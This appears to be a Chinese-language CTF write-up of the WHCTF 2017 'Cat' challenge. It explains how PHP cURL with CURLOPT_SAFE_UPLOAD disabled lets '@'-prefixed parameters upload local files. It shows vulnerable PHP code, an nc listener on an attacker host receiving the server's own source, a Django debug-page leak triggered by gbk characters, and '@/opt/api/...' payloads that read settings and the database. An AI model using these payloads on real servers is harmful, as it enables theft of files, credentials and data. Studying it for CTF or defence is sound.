WHCTF 2017 Cat

前置信息

php cURL

CURLOPT_SAFE_UPLOAD

CURLOPT_SAFE_UPLOAD配置不当有可能会造成任意文件读取。
TRUE为禁用 @ 前缀在 CURLOPT_POSTFIELDS 中发送文件。
FALSE为启用,@开头的value会被当做文件上传。
当 CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容

PHP 5.5.0 中添加,默认值 FALSE。
PHP 5.6.0 改默认值为 TRUE。
PHP 7 删除了此选项。

复现

复现使用的PHP版本:5.6.38
假设有这么一段代码:

<?php
$url = $_GET['url'];
$username = isset($_GET['username'])?$_GET['username']:"admin";
$data = array(
    "username"=> $username
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_SAFE_UPLOAD,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$res = curl_exec($ch);
echo $res;

然后服务器nc监听一个端口用来接收请求:nc -lvp 1221
通过浏览器访问:
http://www.***.com/index.php?url=http://服务器IP:1221/&username=@index.php
然后服务器接收到文件上传请求:

root@0x00:~# nc -lvp 1221
listening on [any] 1221 ...

36.102.228.115: inverse host lookup failed: Unknown host
connect to [服务器IP] from (UNKNOWN) [36.102.228.115] 37767
POST / HTTP/1.1
Host: 服务器IP:1221
Accept: */*
Content-Length: 557
Content-Type: multipart/form-data; boundary=------------------------d73a99cc8f366fdb

--------------------------d73a99cc8f366fdb
Content-Disposition: form-data; name="username"; filename="test.php"
Content-Type: application/octet-stream

<?php
$url = $_GET['url'];
$username = isset($_GET['username'])?$_GET['username']:"admin";
$data = array(
    "username"=> $username
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_SAFE_UPLOAD,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$res = curl_exec($ch);
echo $res;
--------------------------d73a99cc8f366fdb--

Django_Debug

  1. 如果开启了DEBUG模式,那么以后我们修改了Django项目的代码,然后按下ctrl+s,那么Django就会自动的给我们重启项目,不需要手动重启。
  2. 如果开启了DEBUG模式,那么以后Django项目中的代码出现bug了,那么在浏览器中和控制台会打印出错信息。
  3. 在生产环境中,禁止开启DEBUG模式,不然有很大的安全隐患。
  4. 如果将DEBUG设置为False,那么必须要设置ALLOWED_HOSTS。
    ALLOWED_HOSTS:这个变量是用来设置以后别人只能通过这个变量中的ip地址或者域名来进行访问。
    总的来说主要是因为黑客可以看到报错信息

django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。

gbk编码

Django使用的是gbk编码,超过%F7的编码不在gbk中有意义

解题

FUZZ(模糊测试)

WHCTF 2017 Cat
fuzz后,发现字符超过0x7F的ASCII都会引发Django的报错。在url中输入?url=%88,可以得到报错页
WHCTF 2017 Cat
django报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。由此可以判断出后台运行了两个应用,一个是PHP应用,一个是Django,用来处理php发来的请求。

Django路径

由报错信息可得,Django项目的绝对路径为/opt/api,之后读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。
查设置payload:@/opt/api/api/settings.py
WHCTF 2017 Cat
查数据库payload:@/opt/api/database.sqlite3
WHCTF 2017 Cat
拿下flag

上一篇:PHP 使用 curl 提交 json 格式数据


下一篇:小程序订阅消息【PHP版】